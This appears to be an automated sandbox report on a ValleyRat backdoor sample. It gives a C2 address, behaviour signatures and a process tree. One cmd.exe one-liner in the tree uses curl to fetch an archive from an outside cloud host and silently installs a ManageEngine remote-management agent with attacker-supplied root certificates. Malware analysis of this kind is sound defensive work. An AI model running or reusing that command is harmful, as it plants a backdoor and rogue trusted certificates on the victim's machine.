Overview

overview

10

Static

static

5

DF-202601001301.exe

windows10-2004-x64

10

DF-202601001301.exe

windows11-ltsc_2024-x64

10

mfc140u.dll

windows10-2004-x64

3

mfc140u.dll

windows11-ltsc_2024-x64

3

Analysis

  • max time kernel
    300s
  • max time network
    302s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 18:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    DF-202601001301.exe
  • Size 451KB
  • Sample261024-w8fevabw71
  • SHA256 5ef3fe4a5e70d3750a11c73902e35b50b9ac007e8a95dde0569bf6bae17da73a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
backdoordefense_evasiondiscoveryexecutionvalleyrat_s2persistenceratspywaretrojan

Malware Config

Extracted

Family

  • valleyrat_s2

C2

  • 202.61.160.251:667

Signatures

  • Family: ValleyRat

    ValleyRat stage2 is a backdoor written in C++.

    backdoorvalleyrat_s2
  • Drops file in Drivers directory 6 IoCs
  • Sets service image path in registry 3 TTPs 2 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • DCAgent remote management tool 4 IoCs

    DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

    backdoorrat
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 45 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Power Settings 1 TTPs 1 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 44 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 28 IoCs
  • Enumerates video capture drivers 2 TTPs 1 IoCs

    Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

    discoverydefense_evasion
  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies trusted root certificate store through registry 1 TTPs 7 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 64 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 23 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 57 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\DF-202601001301.exe
    "C:\Users\Admin\AppData\Local\Temp\DF-202601001301.exe"
    1⤵
    • Sets service image path in registry
    • Adds Run key to start application
    • Enumerates connected drives
    • Enumerates video capture drivers
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: LoadsDriver
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3804
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c curl -L -o "C:\111a.zip" "https://xy2-1469461062.cos.ap-jakarta.myqcloud.com/111a.zip" && (if exist "C:\111a" (rmdir /s /q "C:\111a") else (ver >nul)) && md "C:\111a" && tar -xf "C:\111a.zip" -C "C:\111a" && del "C:\111a.zip" && msiexec /i "C:\111a\UEMSAgent.msi" /qn TRANSFORMS="C:\111a\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\111a\DMRootCA-Server.crt" DS_ROOT_CRT="C:\111a\DMRootCA.crt" /lv "C:\111a\Agentinstalllog.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5416
      • C:\Windows\SysWOW64\curl.exe
        curl -L -o "C:\111a.zip" "https://xy2-1469461062.cos.ap-jakarta.myqcloud.com/111a.zip"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3472
      • C:\Windows\SysWOW64\tar.exe
        tar -xf "C:\111a.zip" -C "C:\111a"
        3⤵
          PID:4876
        • C:\Windows\SysWOW64\msiexec.exe
          msiexec /i "C:\111a\UEMSAgent.msi" /qn TRANSFORMS="C:\111a\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\111a\DMRootCA-Server.crt" DS_ROOT_CRT="C:\111a\DMRootCA.crt" /lv "C:\111a\Agentinstalllog.txt"
          3⤵
          • Suspicious use of SetWindowsHookEx
          PID:5828
    • C:\Users\Public\svchostsr.exe
      C:\Users\Public\svchostsr.exe
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: LoadsDriver
      PID:5484
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2856
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1A7CFD0A3FAFF80D1D332D26B4C513D0
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2824
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
        2⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies trusted root certificate store through registry
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1132
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
          7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
          3⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1500
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exe
          bin\dcpatchscan.exe -y 1
          3⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5284
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2852
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:5332
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2128
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3000
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll
            4⤵
            • Executes dropped EXE
            PID:2824
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1516
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\meaap.exe" -m 1 -a 7093261d-e605-4137-be02-f2a185eeaad2
            4⤵
            • Drops file in Program Files directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:2656
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"
          3⤵
          • Drops file in Program Files directory
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4468
          • C:\Windows\SysWOW64\systeminfo.exe
            systeminfo.exe
            4⤵
            • Gathers system information
            • Modifies data under HKEY_USERS
            PID:1476
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 22
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          PID:4800
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
          bin\dcinventory.exe -i postinstallation 0 1
          3⤵
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2772
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\metroapps.exe
            metroapps.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:4980
    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:5968
    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:3960
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Checks SCSI registry key(s)
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5160
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 9
          3⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          PID:2280
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
        7 0 0
        2⤵
        • Drops file in Program Files directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        • Modifies data under HKEY_USERS
        PID:5340
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
        bin\dcstatusutil.exe RequestAgentSlotFromServer
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        • Modifies data under HKEY_USERS
        PID:3404
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
        2⤵
        • Drops file in Program Files directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        PID:3324
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        PID:3916
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        PID:5056
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
        3 0 0
        2⤵
        • Drops file in Program Files directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious use of WriteProcessMemory
        PID:5872
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
          bin\dcinventory.exe -p processor compatibility
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          PID:3284
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json
          3⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1980
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1672
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:552
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1828
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll
          3⤵
          • Executes dropped EXE
          PID:5352
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4896
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe" -m 1 -c Refresh
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5056
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n d57c4dc4-daa3-496d-85ce-28fc06cd5c6e -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" -c dcm-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\DeviceControl-metadata.json" -a 2
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1116
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" bin\dccomponentregister.dll
              5⤵
              • Executes dropped EXE
              PID:2540
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
              dcagenttrayicon.exe -r
              5⤵
              • Drops file in System32 directory
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              PID:3000
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
              dcagenttrayicon.exe
              5⤵
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:4944
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip"
              5⤵
              • Drops file in Program Files directory
              • Executes dropped EXE
              PID:4144
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
              dcagenttrayicon.exe -r
              5⤵
              • Drops file in System32 directory
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:5048
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
              dcagenttrayicon.exe
              5⤵
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:4500
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n a8171afd-f23a-419b-9bb8-146a20bb61fd -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip" -c blm -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BitLocker-metadata.json" -a 2
            4⤵
            • Drops file in Program Files directory
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4488
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip" bin\dccomponentregister.dll
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2276
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip"
              5⤵
              • Drops file in Program Files directory
              • Executes dropped EXE
              PID:552
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 425cc09c-d116-4ff1-a6f4-52ff663926f6 -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\edrComponent.zip" -c edr_win_neutral -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\EDR-metadata.json" -a 1
            4⤵
            • Drops file in Program Files directory
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4396
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\edrComponent.zip"
              5⤵
              • Drops file in Program Files directory
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:5924
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\bin\EDRDCManager.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\EDR\\bin\\EDRDCManager.exe" -installorupdate
              5⤵
              • Drops file in Program Files directory
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              • Modifies data under HKEY_USERS
              • Suspicious use of WriteProcessMemory
              PID:920
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "Standalone.zip"
                6⤵
                • Executes dropped EXE
                PID:5700
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\bin\MEARWSetup.exe
                MEARWSetup.exe -install mearwconf.json
                6⤵
                • Drops file in Program Files directory
                • Drops file in Windows directory
                • Executes dropped EXE
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:4976
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\MEARWZipUtil.exe
                  x "C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\MEARWBundle.7z"
                  7⤵
                  • Drops file in Program Files directory
                  • Executes dropped EXE
                  PID:5804
                • C:\Windows\SYSTEM32\wevtutil.exe
                  wevtutil.exe im EDR.man /rf:"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\MEEDREventLogResource.dll" /mf:"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\MEEDREventLogResource.dll"
                  7⤵
                    PID:5148
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n d57c4dc4-daa3-496d-85ce-28fc06cd5c6e -c dcm-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\DeviceControl-metadata.json" -a 0
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4316
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\devctrlaction64.exe
                -c 4
                5⤵
                • Checks SCSI registry key(s)
                PID:1220
                • C:\Windows\system32\gpupdate.exe
                  C:\Windows\system32\gpupdate.exe /Target:Computer /Force
                  6⤵
                    PID:5788
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                  dcagenttrayicon.exe -r
                  5⤵
                  • Drops file in System32 directory
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:4780
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                  dcagenttrayicon.exe
                  5⤵
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:5776
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n a8171afd-f23a-419b-9bb8-146a20bb61fd -c blm -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BitLocker-metadata.json" -a 0
                4⤵
                  PID:3404
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 425cc09c-d116-4ff1-a6f4-52ff663926f6 -c edr_win_neutral -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\EDR-metadata.json" -e enabled -a 3
                  4⤵
                  • Drops file in Program Files directory
                  • System Location Discovery: System Language Discovery
                  PID:1068
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcwolsettings.exe
                bin\dcwolsettings.exe
                3⤵
                • Reads the TCP/IP host and domain name from the registry
                PID:424
              • C:\Windows\SysWOW64\cscript.exe
                C:\Windows\system32\cscript.exe DisableEnableEthernet.vbs
                3⤵
                • Executes a VBScript file via the Windows Script Host.
                • Reads the TCP/IP host and domain name from the registry
                • Modifies data under HKEY_USERS
                PID:2712
                • C:\Windows\SysWOW64\powercfg.exe
                  powercfg -devicequery wake_from_any
                  4⤵
                  • Power Settings
                  • System Location Discovery: System Language Discovery
                  • Checks SCSI registry key(s)
                  PID:2660
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                dcagenttrayicon.exe -r
                3⤵
                • Drops file in System32 directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                PID:5332
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                dcagenttrayicon.exe -s
                3⤵
                • Drops file in System32 directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                PID:1224
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\bin\EDRDCManager.exe
                EDRDCManager.exe -applymeta
                3⤵
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                PID:4440
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuninstallsw.exe
                bin\dcuninstallsw.exe
                3⤵
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious use of SetWindowsHookEx
                PID:2768
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_SUM
                3⤵
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Checks SCSI registry key(s)
                • Suspicious use of SetWindowsHookEx
                PID:5512
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\secaddoncrashanalyser.exe
                bin\secaddoncrashanalyser.exe
                3⤵
                  PID:5780
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s postnotify SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ SYSTEM 0 1
                2⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2592
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\metroapps.exe
                  metroapps.exe
                  3⤵
                  • Executes dropped EXE
